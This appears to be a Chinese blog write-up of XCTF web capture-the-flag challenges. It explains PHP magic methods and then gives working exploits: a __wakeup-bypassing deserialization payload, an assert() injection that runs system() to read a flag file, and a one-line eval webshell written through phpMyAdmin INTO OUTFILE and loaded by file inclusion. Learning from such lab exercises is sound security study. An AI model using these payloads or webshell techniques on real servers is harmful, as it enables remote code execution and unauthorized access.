攻防世界Web区部分题解
攻防世界Web区部分题解
前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 。 而反序列化就是把字符串重新转换为 对象 , 类 , 数组 , 变量 , 匿名函数 。 通过这种相互转换 ,从而完成 数据持久化。
谈到php的反序列化,就不能不说反序列化中的几种魔术方法,下面是文档中对于魔术方法的说明。
下面看几种重要的魔术方法:
__wakeup方法
unserialize()会先检查是否存在一个__wakeup()方法,如果__wakeup()方法存在,则会先调用__wakeup方法,预先准备对象需要的资源。比如完成对对象属性的赋值,创建对象的方法等等。
__toString方法
将一个对象当做字符串进行处理时,会调用__toString方法进行处理。比如需要echo或者print一个对象的时候,就会调用__toString方法。
<?php
class TestClass
{
public $foo; public function __construct($foo)
{
$this->foo = $foo;
} public function __toString() {
return $this->foo;
}
} $class = new TestClass('Hello');
echo $class; // 运行结果:Hello
?>
在上面的例子中,需要echo $class的时候,就会调用__toString方法,返回$this->foo,echo $class就会变成echo $this->foo。
__invoke方法
当尝试以调用函数的方式调用一个对象时,__invoke方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)
<?php
class CallableClass
{
function __invoke($x) {
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>
输出结果:
int(5)
bool(true)
__construct方法
__construct常常作为构造函数出现在php中。每次创建新对象时会调用此方法,适合在函数开始创建的时候做一些初始化工作。 构造函数和析构函数
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
源码如上所示,是一道考察反序列化的题目。这里应该是要绕过__wakeup的检测,在构造payload的时候,把fl4g.php传递进去,最后可以通过__destruct()把fl4g.php给打印出来。
可以看到函数在后面进行参数传递的时候,也对我们要传递的参数做了一个简单的过滤,通过preg_match进行了正则过滤。'O:4'这种构造的payload会被过滤掉,所以这时候我们需要改动一下payload,用'+4'代替'4'来进行绕过。exp如下所示:
<?php
class Demo{
private $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
echo @highlight_file($this->file,true);
}
function __wakeup(){
if($this->file!='index.php'){
$this->file='index.php';
}
}
}
$A=new Demo('fl4g.php');
$C=serialize($A);
$C=str_replace('O:4','O:+4',$C);
$C=str_replace(':1:',':2:',$C);
var_dump($C);
var_dump(base64_encode($C)); ?>
最终的payload:
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
unserialize3
进入环境,源码如下。
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
这里也是调用了一个__wakeup的魔术方法,所以我们利用的思路,大体和前面一个题目一样。
<?php
class xctf{
public $flag='111';
public function __wakeup(){
exit('bad requests');
}
}
$A=new xctf();
$B=serialize($A);
$B=str_replace(':1:',':2:',$B);
var_dump($B);
var_dump(base64_encode($B));
?>
上面两道题目实际上考察的都是同一个东西,__wakeup魔术方法在反序列化的时候,如果定义的参数数目大于实际字符串的数目,就会跳过__wakeup魔术方法的执行。
mfw
进入界面,题目提示git泄露,拖下源码后开始代码审计。
<?php if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
} $file = "templates/" . $page . ".php"; // I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// assert会执行函数并且返回一个布尔值
// die输出一条消息,并退出当前脚本
// 返回字符串在上一个字符串中出现的位置,如果没有找到字符串则返回false
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
一开始的时候,我尝试绕过strpos的检测,但是这道题目的考察点并不在这里。这道题目的断言函数在接受参数的时候,没有对接收的参数做一个审查,所以构造合理的话,可以实现一个命令执行的效果。assert()断言的函数定义在PHP5和PHP7中分别如下所示:
assert ( mixed $assertion [, string $description ] ) : bool
assert ( mixed $assertion [, Throwable $exception ] ) : bool
如果 assertion
是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion
是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion
表达式。 这意味着如果你传入了 boolean 的条件作为 assertion
,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE
会被转换成空字符串。
最后在url中构造的payload如下:
'.system("cat templates/flag.php").'
两个引号用来闭合'$file'中的前一个引号和后一个引号。
') or system("cat templates/flag.php");//
或者使用括号来对括号进行闭合。
Web_php_include
这道题我记录一种爆破目录,然后数据库传马的黑盒思路。其他几种都是基于php伪协议的思路,主要在于对strstr函数的大小写绕过上。
首先御剑扫描一下,发现phpmyadmin的登录页面,这时候,用bp的intruder模块来对目录进行爆破。得到登录密码为空。
登录进去的页面就如图所示,然后我们在这里写入木马,将一句话木马写入到"/tmp/hack.php"(linux下这个目录的权限一般是可写的),然后通过文件包含将这个文件写入到page变量中,用蚁剑进行连接。
select "<?php eval($_POST['hack']);?>" into outfile "/tmp/hack.php"
写入数据库的payload。
/?page=/tmp/hack.php
最后得到flag。
这里可以写入一句话木马的原理可以再探究一下。phpmyadmin这里有一个全局变量secure-file-priv,这个全局变量是指定文件夹为导出文件的地方,默认情况下,secure-file-priv是一个空值(NULL),在phpmyadmin里面我们可以查看一下这个全局变量的值。
SHOW VARIABLES LIKE "secure_file_priv";
得到的结果如图所示:
为空值的时候,说明我们可以在可写文件夹下导入导出目录,也就是说我们可以在一些目录下写入一句话木马,同时通过文件包含,用蚁剑拿到webshell。
攻防世界Web区部分题解的更多相关文章
- 攻防世界web新手区
攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...
- 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup
攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...
- 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...
- 攻防世界 WEB 高手进阶区 easytornado Writeup
攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...
- 攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup
攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引 ...
- 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup
攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...
- 攻防世界 WEB 高手进阶区 upload1 Writeup
攻防世界 WEB 高手进阶区 upload1 Writeup 题目介绍 题目考点 文件上传漏洞 一句话木马 中国菜刀类工具的使用 Writeup 使用burpsuite抓包 可见只是对上传文件的后缀进 ...
随机推荐
- Kubernetes通过downwardAPI传递元数据
应用往往需要获取所运行环境的一些信息,包括应用自身以及集群中其他组件的信息.Kubernetes可以通过环境变量以及DNS进行服务发现,但其他信息如何处理呢?下面将介绍特定pod和容器元数据如何被传递 ...
- echarts 根据geojson 数据绘制区域图(精确到镇)
步骤:1)先获取区域(县.镇)json数据 :2)使用echarts 绘制地图: 先上一波效果图(昆明市东川区) 一.获取区域json数据 1.下载工具"水经微图", 2.下载东川 ...
- Gym - 101128E Wooden Signs DP
题目大意: 一共n块木板,前两个数给出最底下木块的两个端点,后面n-1个数给出第i层的一个固定端点,问你木块的所有放置情况. 分析: 状态: d[i][j]表示第i个木块,第i-1块木板的未固定端点为 ...
- 尝试用面向对象思维理解Vue组件
什么是组件 用面向对象的思维去理解Vue组件,可以将所有的事物都抽象为对象,而类或者说是组件,都具有属性和操作. 如抽取人类为组件,其基本的属性有姓名.年龄.国籍:基本的方法有吃饭.睡觉.跑步等. & ...
- 如何获取微信小程序for循环的index
在微信小程序开发中,对于wx:for,可以使用wx:for-index="index"来获取数组中的元素的索引值(下标). <view class="item&qu ...
- Nginx:Nginx配置文件详解
Nginx是一款面向性能设计的HTTP服务器,相较于Apache.lighttpd具有占有内存少,稳定性高等优势. 如下是Nginx的配置详解: ######Nginx配置文件nginx.conf中文 ...
- mybatis源码简单分析
mybatis入门介绍 /** * 1. 接口式编程 * 原生: Dao =====> DaoImpl * mybatis : Mapper =====> xxxMapper * 2. S ...
- Quartz和Spring Task定时任务的简单应用和比较
看了两个项目,一个用的是Quartz写的定时器,一个是使用spring的task写的,网上看了2篇文章,写的比较清楚,这里做一下留存 链接一.菠萝大象:http://www.blogjava.net/ ...
- mysql 的基础操作
1.建表 create table 表名( 字段一 数据类型 [列属性] , 字段二 数据类型 [列属性], ......... )[表类型][表字符集][注释]; 注意:MySQL命令终止符为分号 ...
- Vue数据双向绑定不起作用、Vue如何正确的手动添加json数据、Vue视图层不刷新、手动刷新视图层
Vue.set(obj,"key","value") 如果接收到来自服务器的消息时,我们需要对其进性进一步处理 我们想当然的会直接将数据添加进json 像这样: ...